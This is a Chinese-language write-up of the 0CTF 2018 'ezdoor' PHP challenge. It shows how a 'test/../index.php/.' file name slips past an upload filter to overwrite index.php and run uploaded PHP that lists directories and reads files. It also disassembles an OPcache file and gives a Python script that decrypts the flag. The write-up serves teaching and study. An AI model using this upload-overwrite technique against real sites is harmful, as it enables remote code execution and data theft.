2018 0ctf ezdoor题目复现

  • 写在前面

    之前在做0ctf的时候就看了这一道php代码审计题目,当时没做出来,好在github上有源码,决定在服务器下搭建一下环境过一遍这道题,顺便学习学习有关php的一些知识。

  • 环境搭建

    我使用的是ubuntu系统,首先要安装docker,docker的安装大家可以自行百度。
    启动docker
    1
    service docker start
    将题目源码拉到本地,使用git clone命令
    1
    git clone https://github.com/LyleMi/My-CTF-Challenges.git
    修改Dockerfile文件,在文件中添加一行,用来创建sandbox文件夹
    1
    RUN mkdir /var/www/html/sandbox/
    进入到source文件夹创建镜像
    1
    docker build -t 0ctf-ezdoor .
    启动环境,这里的8585端口可以设置为任意一个未被占用的端口
    1
    docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor
    之后访问http://ip:8585即可
  • 源码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    <?php

    error_reporting(0);

    $dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
    if(!file_exists($dir)){
    mkdir($dir);
    }
    if(!file_exists($dir . "index.php")){
    touch($dir . "index.php");
    }

    function clear($dir)
    {
    if(!is_dir($dir)){
    unlink($dir);
    return;
    }
    foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
    continue;
    }
    unlink($dir . $file);
    }
    rmdir($dir);
    }

    switch ($_GET["action"] ?? "") {
    case 'pwd':
    echo $dir;
    break;
    case 'phpinfo':
    echo file_get_contents("phpinfo.txt");
    break;
    case 'reset':
    clear($dir);
    break;
    case 'time':
    echo time();
    break;
    case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
    break;
    }

    if ($_FILES['file']['size'] > 100000) {
    clear($dir);
    break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
    stristr(pathinfo($name)["extension"], "h")) {
    break;
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $name);
    $size = 0;
    foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
    continue;
    }
    $size += filesize($dir . $file);
    }
    if ($size > 100000) {
    clear($dir);
    }
    break;
    case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
    default:
    highlight_file(__FILE__);
    break;
    }

    首先会根据每个人的ip地址生成一个sandbox文件夹,并在sandbox文件夹下生成一个index.php文件。switch case下有很多方式,注意到case ‘upload’看到有文件上传,主要代码如下:

    1
    2
    3
    4
    5
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
    stristr(pathinfo($name)["extension"], "h")) {
    break;
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $name);

    我们先来看preg_match中的正则表达式,在[ ]里以^开头,说明匹配的是^后面未包含的字符串,因此这个preg_match在这里并没有太大作用。不过正则表达式还是得好好看看,给大家分享一个学习正则的链接

    http://tool.oschina.net/uploads/apidocs/jquery/regexp.html

    后面的stristr(pathinfo)是用来判断以“.”隔断后的字符串中是否含有“h”字符,在这里pathinfo是以字符串中最后一个“.”来进行隔断。

    例如

    1
    2
    3
    4
    <?php
    $name="index.php.exe";
    echo(pathinfo($name)["extension"]);
    ?>

    输出为exe,因此我们可以在upload处进行上传绕过

  • 利用”/.”绕过上传检测

    1
    2
    3
    4
    5
    6
    7
     $name = "index.php/.";
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
    stristr(pathinfo($name)["extension"], "h")) {
    echo "success";
    }
    else
    echo "false";

    此时输出为false,虽然现在我们可以绕过上传,但是无法进行覆盖。因此我们需要重新构造文件名实现上传覆盖。

  • 利用”test/../index.php/.”上传覆盖

    构造form表单

    1
    2
    3
    4
    <form action="http://192.168.1.188:8585/index.php?action=upload&name=test/../index.php/." method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" />
    </form>

    本地构造index.php文件

    1
    2
    3
    <?php
    echo "666";
    ?>

    上传之后查看http://192.168.1.188/index.php?action=shell

    看到页面输出“666”,发现成功覆盖

    获取flag下文件,构造index.php

    1
    2
    3
    <?php
    var_dump(scandir('/var/www/html/'));
    ?>

    上传后查看http://192.168.1.188/index.php?action=shell

    得到以下信息

    img

    获取flag下的文件

    通过构造index.php

    1
    2
    3
    <?php
    print_r(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'))
    ?>

    得到flag.php.ini,输出信息如下

    img

    因为OPcache文件是以”OPcache.”开头的,但是发现上面输出信息中opcache后缺少”.”,因此将上述信息保存为本地文件,并命名为flag.php.ini,利用winhex对文件进行修复

  • opcode反编译

    工具链接

    https://github.com/GoSecure/php7-opcache-override

    安装库依赖

    1
    2
    3
    pip install construct==2.8.22
    pip install treelib
    pip install termcolor

    反编译

    1
    ./opcache_disassembler.py -c -a64 flag.php.bin

    反编译后的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    function encrypt() {
    #0 !0 = RECV(None, None);
    #1 !0 = RECV(None, None);
    #2 DO_FCALL_BY_NAME(None, 'mt_srand');
    #3 SEND_VAL(1337, None);
    #4 (129)?(None, None);
    #5 ASSIGN(!0, '');
    #6 (121)?(!0, None);
    #7 ASSIGN(None, None);
    #8 (121)?(!0, None);
    #9 ASSIGN(None, None);
    #10 ASSIGN(None, 0);
    #11 JMP(->-24, None);
    #12 DO_FCALL_BY_NAME(None, 'chr');
    #13 DO_FCALL_BY_NAME(None, 'ord');
    #14 FETCH_DIM_R(!0, None);
    #15 (117)?(None, None);
    #16 (129)?(None, None);
    #17 DO_FCALL_BY_NAME(None, 'ord');
    #18 MOD(None, None);
    #19 FETCH_DIM_R(!0, None);
    #20 (117)?(None, None);
    #21 (129)?(None, None);
    #22 BW_XOR(None, None);
    #23 DO_FCALL_BY_NAME(None, 'mt_rand');
    #24 SEND_VAL(0, None);
    #25 SEND_VAL(255, None);
    #26 (129)?(None, None);
    #27 BW_XOR(None, None);
    #28 SEND_VAL(None, None);
    #29 (129)?(None, None);
    #30 ASSIGN_CONCAT(!0, None);
    #31 PRE_INC(None, None);
    #32 IS_SMALLER(None, None);
    #33 JMPNZ(None, ->134217662);
    #34 DO_FCALL_BY_NAME(None, 'encode');
    #35 (117)?(!0, None);
    #36 (130)?(None, None);
    #37 RETURN(None, None);

    }
    function encode() {
    #0 RECV(None, None);
    #1 ASSIGN(None, '');
    #2 ASSIGN(None, 0);
    #3 JMP(->-81, None);
    #4 DO_FCALL_BY_NAME(None, 'dechex');
    #5 DO_FCALL_BY_NAME(None, 'ord');
    #6 FETCH_DIM_R(None, None);
    #7 (117)?(None, None);
    #8 (129)?(None, None);
    #9 (117)?(None, None);
    #10 (129)?(None, None);
    #11 ASSIGN(None, None);
    #12 (121)?(None, None);
    #13 IS_EQUAL(None, 1);
    #14 JMPZ(None, ->-94);
    #15 CONCAT('0', None);
    #16 ASSIGN_CONCAT(None, None);
    #17 JMP(->-96, None);
    #18 ASSIGN_CONCAT(None, None);
    #19 PRE_INC(None, None);
    #20 (121)?(None, None);
    #21 IS_SMALLER(None, None);
    #22 JMPNZ(None, ->134217612);
    #23 RETURN(None, None);

    }

    #0 ASSIGN(None, 'input_your_flag_here');
    #1 DO_FCALL_BY_NAME(None, 'encrypt');
    #2 SEND_VAL('this_is_a_very_secret_key', None);
    #3 (117)?(None, None);
    #4 (130)?(None, None);
    #5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
    #6 JMPZ(None, ->-136);
    #7 ECHO('Congratulation! You got it!', None);
    #8 EXIT(None, None);
    #9 ECHO('Wrong Answer', None);
    #10 EXIT(None, None);

    官方逆向后的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
    $tmp = dechex(ord($string[$i]));
    if(strlen($tmp) == 1){
    $hex .= "0" . $tmp;
    }else{
    $hex .= $tmp;
    }
    }
    return $hex;
    }
    function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
    $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return encode($cipher);
    }
    $flag = "input_your_flag_here";
    if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") {
    echo "Congratulation! You got it!";
    } else {
    echo "Wrong Answer";
    }
    exit();

    我们将代码分解开来进行分析,首先是encode()函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
    $tmp = dechex(ord($string[$i]));
    if(strlen($tmp) == 1){
    $hex .= "0" . $tmp;
    }else{
    $hex .= $tmp;
    }
    }
    return $hex;
    }

    我们发现该函数是将$string的每一位转换为ASCII码后,再转换为十六进制,如果转换的十六进制位数是一位的话就在前面添0,然后将每一位的十六进制拼接起来。

    我们再来看encrypt函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
    $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return encode($cipher);
    }

    首先是一个随机数发生器种子,在这里pwd我们是已知的,因此长度也是已知量,data是我们要得到的flag,data的长度也是未知量,在for循环中我们看到有一条异或的语句

    1
    $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

    这句话其实是可逆的,因此得出

    1
    chr(ord($data[$i])= $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

    由最后的if判断我们可以得到,加密后的密文长度为74位,因此我们根据encode()函数可以得出flag的长度是37位,因此我们的mt_rand()生成的随机数至少应该是37位,因此我们利用python编写解密脚本如下。

    python版本:2.x

    php版本:php7.2

    1
    2
    3
    4
    5
    6
    7
    pwd="this_is_a_very_secret_key"
    rand=[151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195]
    sec="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")
    flag=""
    for i in range(37):
    flag+=chr(rand[i]^ord(sec[i])^ord(pwd[i%len(pwd)]))
    print flag

    得到flag

    1
    flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}
  • 资料

    http://www.laruence.com/2008/06/18/221.html

    http://drops.xmd5.com/static/drops/web-15450.html

    http://wonderkun.cc/index.html/?p=626

    https://github.com/GoSecure/php7-opcache-override

    https://blog.csdn.net/sqzxwq/article/details/47786345